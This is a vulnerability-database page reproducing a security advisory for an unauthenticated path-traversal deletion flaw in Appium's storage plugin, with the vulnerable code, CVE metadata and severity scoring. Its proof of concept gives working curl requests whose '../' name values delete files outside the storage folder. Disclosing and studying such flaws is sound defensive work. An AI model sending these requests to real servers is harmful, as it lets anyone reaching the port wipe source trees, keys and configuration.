GHSA-JWGX-MP9M-JWCR
Vulnerability from github – Published: 2026-11-20 14:34 – Updated: 2026-11-20 14:34Summary
The Appium storage plugin exposes an HTTP endpoint POST /storage/delete that takes a user-supplied name and deletes it from the server storage folder. The handler passes name straight into path.join(storageRoot, name) and then fs.rimraf() without any path sanitization. By sending a name containing ../ sequences, an unauthenticated remote client can escape the storage root and recursively delete arbitrary files and directories that the Appium process user can write, anywhere on the host filesystem.
The same plugin's upload path validates the name via fs.sanitizeName (requireValidItemOptions), but the delete path does not an asymmetry that makes the missing validation unambiguous.
Details
Published build (node_modules/@appium/storage-plugin/build/lib/storage.js), and source (packages/storage-plugin/lib/):
packages/storage-plugin/lib/storage.ts:65-75—Storage.delete():ts async delete(name: string): Promise<boolean> { if (name.toLowerCase().endsWith(TMP_EXT)) { return false; } const destinationPath = path.join(this._root, name); // <-- no sanitization if (!(await fs.exists(destinationPath))) { return false; } await fs.rimraf(destinationPath); // <-- recursive delete return true; }packages/storage-plugin/lib/plugin.ts:77-83— handler passes raw body:ts STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) { return await executeStorageMethod( async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name), ); };parseRequestArgs(plugin.ts:94-106) only checks that the key exists; it does not validate the value.- Contrast — the upload path does sanitize:
storage.ts:53-54add()→requireValidItemOptions()(storage.ts:236-256) rejects anynamethat differs fromfs.sanitizeName(name).delete()skips this entirely.
PoC
-
Install and start the server with the storage plugin:
sh npm install appium@3.5.0 ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723(Default--addressis0.0.0.0;127.0.0.1used here for a contained test.) -
Plant a victim file/dir outside the storage root, then delete via traversal: ```sh mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt echo single > /tmp/pv_file.txt
curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}' # -> {"value":true}
curl -s -X POST http://127.0.0.1:4723/storage/delete \ -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../../../../tmp/pv_dir"}' # -> {"value":true} ```
Impact
An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@appium/storage-plugin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58192"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T14:34:30Z",
"nvd_published_at": "2026-07-08T21:16:52Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.\n\nThe same plugin\u0027s *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.\n\n\n### Details\n\nPublished build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):\n\n- `packages/storage-plugin/lib/storage.ts:65-75` \u2014 `Storage.delete()`:\n ```ts\n async delete(name: string): Promise\u003cboolean\u003e {\n if (name.toLowerCase().endsWith(TMP_EXT)) {\n return false;\n }\n const destinationPath = path.join(this._root, name); // \u003c-- no sanitization\n if (!(await fs.exists(destinationPath))) {\n return false;\n }\n await fs.rimraf(destinationPath); // \u003c-- recursive delete\n return true;\n }\n ```\n- `packages/storage-plugin/lib/plugin.ts:77-83` \u2014 handler passes raw body:\n ```ts\n STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {\n return await executeStorageMethod(\n async (storage) =\u003e await storage.delete(parseRequestArgs(req, [\u0027name\u0027]).name),\n );\n };\n ```\n`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.\n- Contrast \u2014 the upload path *does* sanitize: `storage.ts:53-54` `add()` \u2192\n`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.\n\n### PoC\n\n1. Install and start the server with the storage plugin:\n ```sh\n npm install appium@3.5.0\n ./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin\n ./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723\n ```\n(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)\n\n2. Plant a victim file/dir outside the storage root, then delete via traversal:\n ```sh\n mkdir -p /tmp/pv_dir \u0026\u0026 echo SECRET \u003e /tmp/pv_dir/important.txt\n echo single \u003e /tmp/pv_file.txt\n\n curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"../../../../../../../../../../tmp/pv_file.txt\"}\u0027\n # -\u003e {\"value\":true}\n\n curl -s -X POST http://127.0.0.1:4723/storage/delete \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"name\":\"../../../../../../../../../../tmp/pv_dir\"}\u0027\n # -\u003e {\"value\":true}\n ```\n\n\u003cimg width=\"2182\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25\" /\u003e\n\n\n### Impact\n\nAn unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.",
"id": "GHSA-jwgx-mp9m-jwcr",
"modified": "2026-11-20T14:34:30Z",
"published": "2026-11-20T14:34:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appium/appium/security/advisories/GHSA-jwgx-mp9m-jwcr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58192"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/pull/22362"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/commit/5fee01752f2782e96fbe64fd13520b433d4a7535"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/releases/tag/%40appium/storage-plugin%401.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "appium allows unauthenticated arbitrary file/directory deletion in @appium/storage-plugin"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.